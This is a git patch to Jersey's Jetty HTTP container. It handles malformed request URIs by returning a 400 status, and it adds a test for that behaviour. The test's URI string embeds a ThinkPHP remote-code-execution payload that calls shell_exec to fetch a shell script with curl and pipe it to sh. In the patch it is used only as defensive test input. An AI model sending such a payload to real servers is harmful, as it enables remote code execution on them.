From 7a19e1e48d2204a58a9368698fe463e09f96034b Mon Sep 17 00:00:00 2001 From: Andrii Serkes <74911628+aserkes@users.noreply.github.com> Date: Fri, 2 Jul 2021 15:20:21 +0300 Subject: [PATCH] handle URISyntaxException in JettyHttpContainer (#4809) Signed-off-by: aserkes --- containers/jetty-http/pom.xml | 7 ++- .../jersey/jetty/JettyHttpContainer.java | 43 ++++++++++++------- .../glassfish/jersey/jetty/ExceptionTest.java | 23 +++++++++- 3 files changed, 54 insertions(+), 19 deletions(-) diff --git a/containers/jetty-http/pom.xml b/containers/jetty-http/pom.xml index c99d10602b..95ce9df869 100644 --- a/containers/jetty-http/pom.xml +++ b/containers/jetty-http/pom.xml @@ -37,7 +37,6 @@ org.glassfish.hk2.external jakarta.inject - org.eclipse.jetty jetty-server @@ -50,6 +49,11 @@ org.eclipse.jetty jetty-continuation + + org.apache.httpcomponents + httpclient + test + @@ -69,7 +73,6 @@ maven-bundle-plugin true - diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java index e1a04d73ed..06687ec48b 100644 --- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java +++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -33,6 +33,7 @@ import javax.ws.rs.core.Application; import javax.ws.rs.core.GenericType; +import javax.ws.rs.core.Response.Status; import javax.ws.rs.core.SecurityContext; import javax.inject.Inject; @@ -81,7 +82,8 @@ public final class JettyHttpContainer extends AbstractHandler implements Contain private static final Type REQUEST_TYPE = (new GenericType>() {}).getType(); private static final Type RESPONSE_TYPE = (new GenericType>() {}).getType(); - private static final int INTERNAL_SERVER_ERROR = javax.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode(); + private static final int INTERNAL_SERVER_ERROR = Status.INTERNAL_SERVER_ERROR.getStatusCode(); + private static final Status BAD_REQUEST_STATUS = Status.BAD_REQUEST; /** * Cached value of configuration property @@ -145,9 +147,9 @@ public void handle(final String target, final Request request, final HttpServlet final Response response = request.getResponse(); final ResponseWriter responseWriter = new ResponseWriter(request, response, configSetStatusOverSendError); - final URI baseUri = getBaseUri(request); - final URI requestUri = getRequestUri(request, baseUri); try { + final URI baseUri = getBaseUri(request); + final URI requestUri = getRequestUri(request, baseUri); final ContainerRequest requestContext = new ContainerRequest( baseUri, requestUri, @@ -171,25 +173,34 @@ public void handle(final String target, final Request request, final HttpServlet // Mark the request as handled before generating the body of the response request.setHandled(true); appHandler.handle(requestContext); + } catch (URISyntaxException e) { + setResponseForInvalidUri(response, e); } catch (final Exception ex) { throw new RuntimeException(ex); } - } - private URI getRequestUri(final Request request, final URI baseUri) { - try { - final String serverAddress = getServerAddress(baseUri); - String uri = request.getRequestURI(); + private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException { + final String serverAddress = getServerAddress(baseUri); + String uri = request.getRequestURI(); - final String queryString = request.getQueryString(); - if (queryString != null) { - uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString); - } + final String queryString = request.getQueryString(); + if (queryString != null) { + uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString); + } - return new URI(serverAddress + uri); - } catch (URISyntaxException ex) { - throw new IllegalArgumentException(ex); + return new URI(serverAddress + uri); + } + + private void setResponseForInvalidUri(final HttpServletResponse response, final Throwable throwable) throws IOException { + LOGGER.log(Level.FINER, "Error while processing request.", throwable); + + if (configSetStatusOverSendError) { + response.reset(); + //noinspection deprecation + response.setStatus(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase()); + } else { + response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase()); } } diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java index e934e6e61a..ce299cdf81 100644 --- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java +++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,6 +16,11 @@ package org.glassfish.jersey.jetty; +import org.apache.http.HttpHost; +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClientBuilder; +import org.apache.http.message.BasicHttpRequest; import org.junit.Test; import javax.ws.rs.GET; @@ -28,6 +33,7 @@ import javax.ws.rs.core.Response; import java.io.IOException; +import java.net.URI; import static org.junit.Assert.assertEquals; @@ -44,6 +50,21 @@ public String get(@PathParam("status") int status) { } + @Test + public void test400StatusCodeForIllegalSymbolsInURI() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction" + + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0" + + ".0.1/ldr.sh|sh"; + BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + @Test public void test400StatusCode() throws IOException { startServer(ExceptionResource.class);